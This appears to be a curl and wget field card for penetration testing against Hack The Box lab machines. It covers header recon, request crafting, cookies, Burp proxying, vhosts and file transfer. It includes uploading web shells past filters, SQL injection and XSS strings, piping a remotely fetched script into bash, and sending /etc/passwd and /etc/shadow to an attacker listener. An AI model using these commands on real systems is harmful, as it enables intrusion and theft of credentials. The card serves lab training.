curl + wget Field Card
Read headers, craft requests, push them through Burp, and move files on and off a box, all from the terminal. The full 21-page field card is embedded above. For deeper API work with curl, see the cURL sheet.
Note — Examples use
pov.htb(10.10.11.251), an IIS 10 + ASP.NET box. Checked against curl 8.22.0 and GNU Wget 1.25.0.
1. Headers
1.1 Headers only
# HEAD request: prints only the response headers
curl -I http://pov.htb
# Headers from a real GET, body thrown away
curl -s -D - -o /dev/null http://pov.htb
# Headers and body together
curl -i http://pov.htb
# Full exchange: > lines you sent, < lines you got
curl -v -o /dev/null http://pov.htb
Warning — Some servers answer
HEADdifferently fromGET. If-Ilooks thin or returns 405, use-D -with a realGET.
1.2 Read them like recon
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
| Header | What it tells you |
|---|---|
Server: Microsoft-IIS/10.0 | Web server and version. IIS 10 means Windows Server 2016 or later |
X-Powered-By: ASP.NET | Framework. On Pov this points at ViewState and .NET deserialisation |
Set-Cookie | Session cookie names leak the stack: PHPSESSID, JSESSIONID, ASP.NET_SessionId, laravel_session |
Location | Redirect target. Often reveals the vhost name to add to /etc/hosts |
WWW-Authenticate | Basic, Digest or NTLM auth wanted. NTLM can leak the domain name |
# Only the headers that matter for fingerprinting
curl -s -D - -o /dev/null http://pov.htb | grep -iE '^(server|x-powered|x-aspnet|set-cookie|location):'
1.3 Status and timing
# Just the status code
curl -s -o /dev/null -w '%{http_code}\n' http://pov.htb/admin
# Code, size and redirect target on one line
curl -s -o /dev/null -w '%{http_code} %{size_download} %{redirect_url}\n' http://pov.htb
# Quick path check when ffuf isn't to hand
for p in admin login backup .git/HEAD; do
echo "$p $(curl -s -o /dev/null -w '%{http_code}' http://pov.htb/$p)"
done
2. Requests
2.1 Methods
# Which methods are allowed (Allow: header)
curl -X OPTIONS -i http://pov.htb
# Try writing a file if PUT is allowed (WebDAV)
curl -X PUT --data-binary @shell.aspx http://pov.htb/shell.aspx
# Any method works with -X
curl -X DELETE http://target.htb/api/users/2
2.2 POST data
# Form POST; -d implies POST
curl -d 'user=admin&pass=admin' http://target.htb/login
# URL-encode the value for you
curl --data-urlencode 'q=<script>alert(1)</script>' http://target.htb/search
# JSON body; sets Content-Type and Accept (curl 7.82+)
curl --json '{"user":"admin","pass":"x"}' http://target.htb/api/login
# JSON from a file (older curl)
curl -H 'Content-Type: application/json' -d @body.json http://target.htb/api
# -G turns -d data into a GET query string
curl -G --data-urlencode 'id=1 OR 1=1' http://target.htb/item
2.3 File upload
# Multipart upload, as a browser form would send it
curl -F 'file=@shell.php' http://target.htb/upload
# Fake the content type and filename to slip past filters
curl -F 'file=@shell.php;type=image/png;filename=cat.png' http://target.htb/upload
# Add the other form fields the handler expects
curl -F 'file=@shell.php' -F 'submit=Upload' http://target.htb/upload.php
2.4 Custom headers
curl -H 'X-Forwarded-For: 127.0.0.1' http://target.htb/admin # pretend to be localhost
curl -A 'Mozilla/5.0' http://target.htb # change the User-Agent
curl -e 'http://target.htb/' http://target.htb/download # set the Referer
curl -H 'User-Agent:' http://target.htb # nothing after the colon removes the header
3. Auth + cookies
curl -u admin:password http://target.htb/admin # HTTP Basic
curl --ntlm -u 'DOMAIN\user:pass' http://target.htb # NTLM (IIS intranets)
curl --digest -u admin:password http://target.htb # Digest
curl -H 'Authorization: Bearer eyJhbGciOi…' http://target.htb/api/me # JWT / API token
# Send a cookie copied from the browser
curl -b 'PHPSESSID=abc123' http://target.htb/dashboard
# Log in, save cookies, reuse the session
curl -c jar.txt -d 'user=a&pass=b' http://target.htb/login
curl -b jar.txt http://target.htb/dashboard
# Read and update the jar on every request (multi-step flows)
curl -b jar.txt -c jar.txt -L http://target.htb/
4. Proxy + TLS
# Through Burp: the request lands in HTTP history, replay it there
curl -x http://127.0.0.1:8080 -k http://pov.htb
# Every curl in this shell goes through Burp. Both assignments must be
# spelled out: a single `export a=1 b=$a` expands $a before either is set.
export http_proxy=http://127.0.0.1:8080
export https_proxy=http://127.0.0.1:8080
# Through a chisel or ligolo SOCKS pivot, DNS resolved on the far side
curl --socks5-hostname 127.0.0.1:1080 http://172.16.1.10
# Skip the proxy for one request
curl --noproxy '*' http://pov.htb
# Ignore certificate errors (self-signed on most HTB boxes)
curl -k https://target.htb
# Certificate names: SANs often leak extra vhosts
curl -vk https://target.htb 2>&1 | grep -E 'subject|issuer|subjectAltName'
openssl s_client -connect target.htb:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep DNS:
5. Vhosts + redirects
# Follow redirects and print headers from every hop
curl -sIL http://10.10.11.251
# A redirect to http://pov.htb/ means: add pov.htb to /etc/hosts
curl -sI http://10.10.11.251 | grep -i location
# Ask the IP for a vhost without touching /etc/hosts
curl -I -H 'Host: dev.pov.htb' http://10.10.11.251
# Pin a name to an IP for this request only (also works for HTTPS/SNI)
curl --resolve dev.pov.htb:80:10.10.11.251 http://dev.pov.htb
# Quick vhost check: a different size from the default page = real vhost
for v in dev admin staging; do
curl -s -o /dev/null -w "$v %{http_code} %{size_download}\n" -H "Host: $v.pov.htb" http://10.10.11.251
done
echo '10.10.11.251 pov.htb dev.pov.htb' | sudo tee -a /etc/hosts
6. File transfer
# On your box: serve the current directory (your IP: ip -4 a show tun0)
python3 -m http.server 8000
python3 -m uploadserver 8000 # adds /upload for files coming back
# Linux target
curl -o /tmp/linpeas.sh http://10.10.14.5:8000/linpeas.sh
curl -O http://10.10.14.5:8000/linpeas.sh # keep the remote filename
wget -q http://10.10.14.5:8000/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64
curl -s http://10.10.14.5:8000/linpeas.sh | bash # run in memory
# Windows target: type curl.exe, since bare curl in PowerShell is Invoke-WebRequest
curl.exe -o C:\Windows\Temp\nc.exe http://10.10.14.5:8000/nc.exe
iwr http://10.10.14.5:8000/winPEASx64.exe -OutFile wp.exe
certutil -urlcache -split -f http://10.10.14.5:8000/nc.exe nc.exe
# Push loot back
curl -F 'files=@/etc/passwd' http://10.10.14.5:8000/upload # to uploadserver
curl -T loot.zip http://10.10.14.5:8000/ # HTTP PUT
curl --data-binary @/etc/shadow http://10.10.14.5:9001/ # catch with nc -lvnp 9001
7. wget
7.1 Basics
wget http://target.htb/backup.zip # download to the current directory
wget -O out.html http://target.htb # choose the filename (-O - = stdout)
wget -c http://target.htb/big.iso # resume a broken download
wget -S --spider http://pov.htb # headers only, nothing saved
wget -q -O - http://target.htb | grep -i password # fetch silently and search
7.2 Mirror and spider
# Recursive, stay below docs/, rewrite links to work offline
wget -r -np -k http://target.htb/docs/
# Full mirror, ignore robots.txt
wget -m -np -e robots=off http://target.htb/
# Only documents, two levels deep: then run exiftool on them
wget -r -l 2 -A pdf,docx,xlsx http://target.htb/
# Map every reachable URL without downloading
wget --spider -r -nd -nv -o spider.log http://target.htb/ && grep -oE 'http[^ ]+' spider.log | sort -u
# Pull an open directory listing, skip the index pages
wget -r -np -R 'index.html*' http://target.htb/files/
7.3 Auth and options
wget --user=admin --password=pass http://target.htb/secret
wget --header='Cookie: PHPSESSID=abc123' http://target.htb/dashboard
wget --no-check-certificate https://target.htb # curl's -k
wget -e use_proxy=yes -e http_proxy=127.0.0.1:8080 http://target.htb # through Burp
wget --post-data='user=a&pass=b' http://target.htb/login
7.4 Exposed .git
curl -s http://target.htb/.git/HEAD # "ref: refs/heads/master" = exposed
wget -r -np -nH -R 'index.html*' http://target.htb/.git/ # if listing is on, then git checkout -- .
git-dumper http://target.htb/.git/ ./repo # when listing is off
8. Alternatives
# httpie: coloured, readable output
http --headers http://pov.htb
http -v POST target.htb/api/login user=admin pass=x
http --verify=no --proxy=http:http://127.0.0.1:8080 https://target.htb
# nmap and friends
nmap -p80,443 --script http-headers,http-title,http-methods pov.htb
whatweb -a 3 http://pov.htb
# Raw HTTP without curl (handy on a bare target)
printf 'GET / HTTP/1.1\r\nHost: pov.htb\r\nConnection: close\r\n\r\n' | nc 10.10.11.251 80
| Tool | Best for |
|---|---|
| curl | One-off requests, scripting, uploads, cookies, proxies. Default choice |
| wget | Downloads, resuming and recursive mirroring |
| httpie | Reading responses and poking JSON APIs |
| nmap / whatweb | Fingerprinting many hosts at once |
9. When it breaks
| Symptom | Fix |
|---|---|
Could not resolve host: pov.htb | Not in /etc/hosts yet. Add it, or use --resolve / -H 'Host:' |
SSL certificate problem: self-signed | Add -k (curl) or --no-check-certificate (wget) |
| Empty output, no error | It’s a redirect. Add -L, or -i to see the Location |
405 Method Not Allowed on -I | Server blocks HEAD. Use curl -s -D - -o /dev/null URL |
Failed to connect … Connection refused | Wrong port or the VPN is down. Check ip a show tun0 and ping the box |
Binary output can mess up your terminal | Add -o file or --output - |
PowerShell curl takes odd arguments | That is Invoke-WebRequest. Call curl.exe |
| Special characters break the URL | Quote the URL, or let -G --data-urlencode build the query |
Note — When a request misbehaves, add
-vfirst. If it still makes no sense, add-x http://127.0.0.1:8080and read it in Burp.